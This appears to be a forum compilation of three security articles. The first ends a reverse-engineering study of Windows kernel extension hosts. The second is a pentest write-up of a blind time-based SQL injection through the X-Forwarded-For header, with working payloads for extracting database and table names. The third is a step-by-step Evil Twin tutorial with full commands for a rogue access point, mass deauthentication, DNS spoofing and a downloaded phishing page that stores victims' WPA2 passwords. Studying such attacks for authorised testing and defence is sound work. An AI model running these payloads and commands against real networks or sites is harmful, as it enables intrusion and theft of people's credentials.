the host’s FunctionTable field is set to point to the FunctionTable supplied in RegistrationInfo. Additionally, RegistrationInfo->HostInterface is set to point to some data found in the host structure. This data is interesting, and we’ll discuss it soon. Eventually, the fully initialized host is returned to the caller via an output parameter. We saw that nt!ExRegisterExtension searches for a host that matches RegistrationInfo. The question now is, where do these hosts come from? During its initialization, NTOS performs several calls to nt!ExRegisterHost. In every call it passes a structure identifying a single driver from a list of predetermined drivers (full list in appendix A). For example, here is the call which initializes a host for Bam.sys: nt!ExRegisterHost allocates a structure of type _HOST_LIST_ENTRY (unofficial name, coined by me), initializes it with data supplied by the caller, and adds it to the end of nt!ExpHostList. The _HOST_LIST_ENTRY structure is undocumented, and looks something like this: struct _HOST_LIST_ENTRY { _LIST_ENTRY List; DWORD RefCount; USHORT ExtensionId; USHORT ExtensionVersion; USHORT FunctionCount; // number of callbacks that the extension // contains POOL_TYPE PoolType; // where this host is allocated PVOID HostInterface; // table of unexported nt functions, // to be used by the driver to which // this extension belongs PVOID FunctionAddress; // optional, rarely used. // This callback is called before // and after an extension for this // host is registered / unregistered PVOID ArgForFunction; // will be sent to the function saved here _EX_RUNDOWN_REF RundownRef; _EX_PUSH_LOCK Lock; PVOID FunctionTable; // a table of the callbacks that the // driver “registers” DWORD Flags; // Only uses one bit. // Not sure about its meaning. } HOST_LIST_ENTRY, *PHOST_LIST_ENTRY; When one of the predetermined drivers loads, it registers an extension using nt!ExRegisterExtension and supplies a RegistrationInfo structure, containing a table of functions (as we saw Bam.sys doing). This table of functions will be placed in the FunctionTable member of the matching host. These functions will be called by NTOS in certain occasions, which makes them some kind of callbacks. Earlier we saw that part of nt!ExRegisterExtension functionality is to set RegistrationInfo->HostInterface (which contains a global variable in the calling driver) to point to some data found in the host structure. Let’s get back to that. Every driver which registers an extension has a host initialized for it by NTOS. This host contains, among other things, a HostInterface, pointing to a predetermined table of unexported NTOS functions. Different drivers receive different HostInterfaces, and some don’t receive one at all. For example, this is the HostInterface that Bam.sys receives: So the “kernel extensions” mechanism is actually a bi-directional communication port: The driver supplies a list of “callbacks”, to be called on different occasions, and receives a set of functions for its own internal use. To stick with the example of Bam.sys, let’s take a look at the callbacks that it supplies: BampCreateProcessCallback BampSetThrottleStateCallback BampGetThrottleStateCallback BampSetUserSettings BampGetUserSettingsHandle The host initialized for Bam.sys “knows” in advance that it should receive a table of 5 functions. These functions must be laid-out in the exact order presented here, since they are called according to their index. As we can see in this case, where the function found in nt!PspBamExtensionHost->FunctionTable[4] is called: To conclude, there exists a mechanism to “extend” NTOS by means of registering specific callbacks and retrieving unexported functions to be used by certain predetermined drivers. I don’t know if there is any practical use for this knowledge, but I thought it was interesting enough to share. If you find anything useful / interesting to do with this mechanism, I’d love to know :) Appendix A — Extension hosts initialized by NTOS: Appendix B — functions pseudo-code: Appendix C — structures definitions: struct _HOST_INFORMATION { USHORT ExtensionId; USHORT ExtensionVersion; DWORD FunctionCount; POOL_TYPE PoolType; PVOID HostInterface; PVOID FunctionAddress; PVOID ArgForFunction; PVOID unk; } HOST_INFORMATION, *PHOST_INFORMATION; struct _HOST_LIST_ENTRY { _LIST_ENTRY List; DWORD RefCount; USHORT ExtensionId; USHORT ExtensionVersion; USHORT FunctionCount; // number of callbacks that the // extension contains POOL_TYPE PoolType; // where this host is allocated PVOID HostInterface; // table of unexported nt functions, // to be used by the driver to which // this extension belongs PVOID FunctionAddress; // optional, rarely used. // This callback is called before and // after an extension for this host // is registered / unregistered PVOID ArgForFunction; // will be sent to the function saved here _EX_RUNDOWN_REF RundownRef; _EX_PUSH_LOCK Lock; PVOID FunctionTable; // a table of the callbacks that // the driver “registers” DWORD Flags; // Only uses one flag. // Not sure about its meaning. } HOST_LIST_ENTRY, *PHOST_LIST_ENTRY;; struct _EX_EXTENSION_REGISTRATION_1 { USHORT ExtensionId; USHORT ExtensionVersion; USHORT FunctionCount; PVOID FunctionTable; PVOID *HostTable; PVOID DriverObject; }EX_EXTENSION_REGISTRATION_1, *PEX_EXTENSION_REGISTRATION_1; Yarden_Shafir Security researcher Sursa: https://medium.com/yarden-shafir/yes-more-callbacks-the-kernel-extension-mechanism-c7300119a37a

X Forwarded for SQL injection 06.Feb.2019 Nikos Danopoulos, Ghost Labs Ghost Labs Ghost Labs performs hundreds of success tests for its customers ranging from global enterprises to SMEs. Our team consists of highly skilled ethical hackers, covering a wide range of advanced testing services to help companies keep up with evolving threats and new technologies. Last year, on May, I was assigned a Web Application test of a regular customer. As the test was blackbox one of the few entry points - if not the only - was a login page. The tight scoping range and the staticity of the Application did not provide many options. After spending some time on the enumeration phase by trying to find hidden files/directories, leaked credentials online, common credentials, looking for vulnerable application components and more I was driven to a dead end. No useful information were received, the enumeration phase had finished and no process had been made. Moreover, every fuzzing attempt on the login parameters didn’t not trigger any interesting responses. Identifying the entry point A very useful Burp Suite Extension is Bypass WAF. To find out how this extension works, have a quick look here. Briefly, this extension is used to bypass a Web Application firewall by inserting specific headers on our HTTP Requests. X-Forwarded-For is one of the them. What this header is also known for though is for the frequent use by the developers to store the IP Data of the client. The following backend SQL statement is a vulnerable example of this: mysql_query("SELECT username, password FROM users-data WHERE username='".sanitize($_POST['username'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ipadr()."'"); More info here: SQL Injection through HTTP Headers Where ipadr() is a function that reads the $_SERVER['HTTP_X_FORWARDED_FOR'] value (X-Forwarded-For header) and by applying some regular expression decides whether to store the value or not. For the web application I was testing, it turned out to have a similar vulnerability. The provided X-Forwarded-For header was not properly validated, it was parsed as a SQL statement and there was the entry point. Moreover, it was not mandatory to send a POST request to the login page and inject the payload through the header. The header was read and evaluated on the index page, by just requesting the “/” directory. Due to the application’s structure, I was not able to trigger any visible responses from the payloads. That made the Injection a Blind, Time Based one. Out of several and more complex payloads - mainly for debugging purposes - the final, initial, payload was: "XOR(if(now()=sysdate(),sleep(6),0))OR” And it was triggered by a similar request: GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 X-Forwarded-For: "XOR(if(now()=sysdate(),sleep(6),0))OR” X-Requested-With: XMLHttpRequest Referer: http://internal.customer.info/ Host: internal.customer.info Connection: close Accept-Encoding: gzip,deflate Accept: / The response was delayed, the sleep value was incremented to validate the finding and indeed, the injection point was ready. As sqlmap couldn’t properly insert the injection point inside the XOR payload, an initial manual enumeration was done. The next information extracted was the Database Length. That would allow me to later identify the Database Name too. Here is the payload used: "XOR(if(length(database())<='30',sleep(5),null))OR" Of course, Burp Intruder was used to gradually increment the database length value. It turned out that the Database Length is 30. To find the Database Name Burp Intruder was used again with the following payload: "XOR(if(MID(database(),1,1)='§position§',sleep(9),0))OR" To automate this in an attack the following payload was used: "XOR(if(MID(database(),1,§number§)='§character§',sleep(2),0))OR" During the attack I noticed that the first 3 characters are the same with the first character of the domain name I am testing. The domain were 20 character long. I paused the intruder attack, went back to repeater and verified like this: "XOR(if(MID(database(),1,20)='<domain-name>',sleep(4),0))OR" Indeed, the server delayed to respond indicating that the 15 first characters of the Database Name are the same as the domain name. The database name was 30 characters long. I had to continue the attack but this time with a different payload, starting the attack from character 21, in order to find the full database name. After a few minutes, the full database name was extracted. Format: “<domain-name>_<subdomain-name>_493 ” With the database name I then attempted to enumerate table names. Similarly, a char-by-char bruteforce attacks is required to find the valid names. To do this I loaded the information_schema.tables table that provides information about all the databases’ tables. I filtered only the current’s database related tables by using the WHERE clause: "XOR(if(Ascii(substring(( Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))= '100', sleep(5),0))OR"*/ As the previous payload was the initial one, I simplified it to this: "XOR(if((substring(( Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='a', sleep(3),0)) OR "*/ Again, the payload was parsed to Burp Intruder to automate the process. After a few minutes the first tables were discovered: After enumerating about 20 Tables Names I decided to try again my luck with SQLmap. As several tables where discovered, one of them was used to help sqlmap understand the injection point and continue the attack. Payload used in sqlmap: XOR(select 1 from cache where 1=1 and 1=1*)OR By that time I managed to properly set the injection point and I forced sqlmap to just extract the column names and data from the interesting tables. Notes and Conclusion At the end of the injection the whole database along with the valuable column information was received. The customer was notified immediately and the attack was reproduced as a proof of concept. Sometimes manual exploitation - especially blind, time based attacks - may seem tedious. As shown, it is also sometimes difficult to automate a detected injection attack. The best thing that can be done on such cases is to manually attack until all the missing information for the automation of the attack are collected. Sursa: https://outpost24.com/blog/X-forwarded-for-SQL-injection

Evil Twin Attack: The Definitive Guide by Hardeep Singh Last updated Feb. 10, 2019 In this article I’ll show you how an attacker can retrieve cleartext WPA2 passphrase on automation using an Evil Twin Access Point. No need of cracking or any extra hardware other than a Wireless adapter. I am using a sample web page for the demonstration. An attacker can turn this webpage into basically any webapp to steal information. Information like domain credentials, social login passwords, credit card information etc. ET Evil Twin noun Definition A fraudulent wireless access point masquerading as a legitimate AP. Evil Twin Access Point’s sole purpose is to eavesdrop on WiFi users to steal personal or corporate information without user’s knowledge. We will not be using any automated script, rather we will understand the concept and perform it manually so that you can make your own script to automate the task and make it simple and usable on low-end devices. Lets begin now! Download All 10 Chapters of WiFi Pentesting and Security Book… PDF version contains all of the content and resources found in the web-based guide Evil Twin Attack Methodology Step 1: Attacker scans the air for the target access point information. Information like SSID name, Channel number, MAC Address. He then uses that information to create an access point with same characteristics, hence Evil Twin Attack. Step 2: Clients on the legitimate AP are repeatedly disconnected, forcing users to connect to the fraudulent access point. Step 3: As soon as the client is connected to the fake access point, S/he may start browsing Internet. Step 4: Client opens up a browser window and see a web administrator warning saying “Enter WPA password to download and upgrade the router firmware” Step 5: The moment client enters the password, s/he will be redirected to a loading page and the password is stored in the MySQL database of the attacker machine. The persistent storage and active deauthentication makes this attack automated. An attacker can also abuse this automation by simply changing the webpage. Imagine the same WPA2 password warning is replaced by “Enter domain credentials to access network resources”. The fake AP will be up all time and storing legitimate credentials in persistent storage. I’ll discuss about it in my Captive Portal Guide. Where I’ll demonstrate how an attacker can even hack domain credentials without having a user to open a webpage. Just connecting the WiFi can take a WiFi user to our webpage, automatically. A WiFi user could be using Android, iOS, a MacOS or a windows laptop. Almost every device is susceptible to it. but for now I’ll show you how the attack works with lesser complications. Tweet this Evil Twin Attack Guide Prerequisites Below are the following list of hardware and software used in creating this article. Use any hardware of your choice until it supports the softwares you’d be using. Hardware used: A Laptop (4GB RAM, Intel i5 processor) Alfa AWUS036NH 1W wireless adapter Huawei 3G WiFi dongle for Internet connection to the Kali Virtual Machine Software Used VMWare Workstation/Fusion 2019 Kali Linux 2019 (Attacker) Airmon-ng, airodump-ng, airbase-ng, and aireplay-ng DNSmasq Iptables Apache, mysql Firefox web browser on Ubuntu 16.10 (Victim) Installing required tools So far we have aircrack-ng suite of tools, apache, mysql, iptables pre-installed in our Kali Linux virtual machine. We just need to install dnsmasq for IP address allocation to the client. Install dnsmasq in Kali Linux Type in terminal: apt-get update apt-get install dnsmasq -y This will update the cache and install latest version of dhcp server in your Kali Linux box. Now all the required tools are installed. We need to configure apache and the dhcp server so that the access point will allocate IP address to the client/victim and client would be able to access our webpage remotely. Now we will define the IP range and the subnet mask for the dhcp server. Configure dnsmasq Create a configuration file for dnsmasq using vim or your favourite text editor and add the following code. sudo vi ~/Desktop/dnsmasq.conf ~/Desktop/dnsmasq.conf interface=at0 dhcp-range=10.0.0.10,10.0.0.250,12h dhcp-option=3,10.0.0.1 dhcp-option=6,10.0.0.1 server=8.8.8.8 log-queries log-dhcp listen-address=127.0.0.1 Save and exit. Use your desired name for .conf file. Pro Tip: Replace at0 with wlan0 everywhere when hostapd is used for creating an access point Parameter Breakdown dhcp-range=10.0.0.10,10.0.0.250,12h: Client IP address will range from 10.0.0.10 to 10.0.0.250 and default lease time is 12 hours. dhcp-option=3,10.0.0.1: 3 is code for Default Gateway followed by IP of D.G i.e. 10.0.0.1 dhcp-option=6,10.0.0.1: 6 for DNS Server followed by IP address (Optional) Resolve airmon-ng and Network Manager Conflict Before enabling monitor mode on the wireless card let’s fix the airmon-ng and network-manager conflict forever. So that we don’t need to kill the network-manager or disconnect tany network connection before putting wireless adapter into monitor mode as we used to run airmon-ng check kill every time we need to start wifi pentest. Open network manager’s configuration file and put the MAC address of the device you want network-manager to stop managing: vim /etc/NetworkManager/NetworkManager.conf Now add the following at the end of the file [keyfile] unmanaged-devices:mac=AA:BB:CC:DD:EE:FF, A2:B2:C2:D2:E2:F2 Now that you have edited the NetworkManager.conf file you should have no conflicts with airmon-ng in Kali Linux We are ready to begin now. Put wireless adapter into monitor mode Bring up the wireless interface ifconfig wlan0 up airmon-ng start wlan0 Putting the card in monitor mode will show a similar output Now our card is in monitor mode without any issues with network manager. You can simply start monitoring the air with command airodump-ng wlan0mon As soon your target AP appears in the airodump-ng output window press CTRL+C and note these three things in a text editor: vi info.txt Set tx-power of alfa card to max: 1000mW tx-power stands for transmission power. By default it is set to 20dBm(Decibel metre) or 100mW. tx-power in mW increases 10 times with every 10 dBm. See the dBm to mW table. If your country is set to US while installation. then your card should operate on 30 dBm(1000 mW) ifconfig wlan0mon down iw reg set US ifconfig wlan0mon up iwconfig wlan0mon If you are thinking why we need to change region to operate our card at 1000mW. Here is why because different countries have different legal allowance of Wireless devices at certain power and frequency. That is why Linux distribution have this information built in and you need to change your region to allow yourself to operate at that frequency and power. Motive of powering up the card is that when creating the hotspot you do not have any need to be near to the victim. victim device will automatically connect to the device with higher signal strength even if it isn’t physically near. Start Evil Twin Attack Begin the Evil Twin attack using airbase-ng: airbase-ng -e "rootsh3ll" -c 1 wlan0mon by default airbase-ng creates a tap interface(at0) as the wired interface for bridging/routing the network traffic via the rogue access point. you can see it using ifconfig at0 command. For the at0 to allocate IP address we need to assign an IP range to itself first. Allocate IP and Subnet Mask ifconfig at0 10.0.0.1 up Note: The Class A IP address, 10.0.0.1, matches the dhcp-option parameter of dnsmasq.conf file. Which means at0 will act as the default gateway under dnsmasq Now we will use our default Internet facing interface, eth0, to route all the traffic from the client through it. In other words, allowing victim to access the internet and allowing ourselves(attacker) to sniff that traffic. For that we will use iptables utility to set a firewall rule to route all the traffic through at0 exclusively. You will get a similar output, if using VM Enable NAT by setting Firewall rules in iptables Enter the following commands to set-up an actual NAT: iptables --flush iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface at0 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80 iptables -t nat -A POSTROUTING -j MASQUERADE Make sure you enter correct interface for –out-interface. eth0 here is the upstream interface where we want to send out packets, coming from at0 interface(rogue AP). Rest is fine. After entering the above command if you are willing to provide Internet access to the victim just enable routing using the command below Enable IP forwarding echo 1 > /proc/sys/net/ipv4/ip_forward Entering “1” in the ip_forward file will tell the system to enable the rules defined in the IPtables and start forwarding traffic(if any). 0 stand for disable. Although rules will remain defined until next reboot. We will put it 0 for this attack, as we are not providing internet access before we get the WPA password. Our Evil Twin attack is now ready and rules has been enabled, now we will start the dhcp server to allow fake AP to allocate IP address to the clients. First we need to tell dhcp server the location of the file we created earlier, which defines IP class, subnet mask and range of the network. Start dhcpd Listener Type in terminal: dnsmasq -C ~/Desktop/dnsmasq.conf -d Here -C stands for Configuration file and -d stands for daemon mode as soon as victim connects you should see similar output for dnsmasq Terminal window [ dnsmasq ] dnsmasq: started, version 2.76 cachesize 150 dnsmasq: compile time options: IPv6 GNU-getopt DBus i18n IDN DHCP DHCPv6 no-Lua TFTP conntrack ipset auth DNSSEC loop-detect inotify dnsmasq-dhcp: DHCP, IP range 10.0.0.10 -- 10.0.0.250, lease time 12h dnsmasq: using nameserver 8.8.8.8#53 dnsmasq: reading /etc/resolv.conf dnsmasq: using nameserver 8.8.8.8#53 dnsmasq: using nameserver 192.168.74.2#53 dnsmasq: read /etc/hosts - 5 addresses dnsmasq-dhcp: 1673205542 available DHCP range: 10.0.0.10 -- 10.0.0.250 dnsmasq-dhcp: 1673205542 client provides name: rootsh3ll-iPhone dnsmasq-dhcp: 1673205542 DHCPDISCOVER(at0) 2c:33:61:3d:c4:2e dnsmasq-dhcp: 1673205542 tags: at0 dnsmasq-dhcp: 1673205542 DHCPOFFER(at0) 10.0.0.247 2c:33:61:3a:c4:2f dnsmasq-dhcp: 1673205542 requested options: 1:netmask, 121:classless-static-route, 3:router, <-----------------------------------------SNIP-----------------------------------------> dnsmasq-dhcp: 1673205542 available DHCP range: 10.0.0.10 -- 10.0.0.250 In case you are facing any issue regarding dhcp server, just kill the curently running dhcp processes killall dnsmasq dhcpd isc-dhcp-server and run dnsmasq again. It should work now. Start the Services Now start the dhcp server, apache and mysql inline /etc/init.d/apache2 start /etc/init.d/mysql start We have our Evil Twin attack vector up and working perfectly. Now we need to setup our fake webpage in action so that victim will see the webpage while browsing and enter the passphrase which s/he uses for his/her access point. Download Rogue AP Configuration Files wget https://cdn.rootsh3ll.com/u/20180724181033/Rogue_AP.zip and simply enter the following command in Terminal unzip rogue_AP.zip -d /var/www/html/ This command will extract the contents of rogue_AP.zip file and copy them to the apache’s html directory so that when the victim opens the browser s/he will automatically be redirected to the default index.html webpage. Now to store the credentials entered by the victim in the html page, we need an SQL database. you will see a dbconnect.php file for that, but to be in effect you need a database created already so that the dbconnect.php will reflect the changes in the DB. Open terminal and type: mysql -u root -p Create a new user fakeap and password fakeap As you cannot execute MySQL queries from PHP being a root user since version 5.7 create user fakeap@localhost identified by 'fakeap'; now create database and table as defined in the dbconnect.php create database rogue_AP; use rogue_AP; create table wpa_keys(password1 varchar(32), password2 varchar(32)); It should go like this: Grant fakeap all the permissions on rogue_AP Database: grant all privileges on rogue_AP.* to 'fakeap'@'localhost'; Exit and log in using new user mysql -u fakeap -p Select rogue_AP database use rogue_AP; Insert a test value in the table insert into wpa_keys(password1, password2) values ("testpass", "testpass"); select * from wpa_keys; Note that both the values are same here, that means password and confirmation password should be the same. Our attack is now ready just wait for the client to connect and see the credential coming. In some cases your client might already be connected to the original AP. You need to disconnect the client as we did in the previous chapters using aireplay-ng utility. Syntax: aireplay-ng --deauth 0 -a <BSSID> <Interface> aireplay-ng --deauth 0 -a FC:DD:55:08:4F:C2 wlan0mon --deauth 0: Unlimited de-authentication requests. Limit the request by entering natural numbers. We are using 0 so that every client will disconnect from that specific BSSID and connect to our AP as it is of the same name as of real AP and also open type access point. As soon a client connects to your AP you will see an activity in the airbase-ng terminal window like this Now to simulate the client side I am using Ubuntu machine connected via WiFi and using a Firefox web browser to illustrate the attack. Victim can now access the Internet. You can do 2 things at this staged: Sniff the client traffic Redirect all the traffic to the fake AP page and that’s what we wanna do. Redirect the client to our fake AP page. Just run this command: dnsspoof -i at0 It will redirect all HTTP traffic coming from the at0 interface. Not HTTPS traffic, due to the built in list of HSTS web sites. You can’t redirect HTPS traffic without getting an SSL/TLS error on the victim’s machine. When victim tries to access any website(google.com in this case), s/he will see this page which tell the victim to enter the password to download and upgrade the firmware Here i am entering “iamrootsh3ll” as the password that I (Victim) think is his/her AP’s password. As soon as the victim presses [ENTER] s/he will see this Now coming back to attacker side. You need to check in the mySQL database for the stored passwords. Just type the previously used command in the mySQL terminal window and see whether a new update is there or not. After simulating I checked the mySQL DB and here is the output Voila! you have successfully harvested the WPA2 passphrase, right from the victim, in plain text. Now close all the terminal windows and connect back to the real AP to check whether the password is correct or victim was him/herself was a hacker and tricked you! Although you don’t need to name any AP similar to an existing AP you can also create a random free open WiFi type name to gather the client on your AP and start pentesting. Download All 10 Chapters of WiFi Pentesting and Security Book… PDF version contains all of the content and resources found in the web-based guide Want to go even deeper? If you are serious about WiFi Penetration Testing and Security, I have something for you. WiFi Hacking in the Cloud Video Course. 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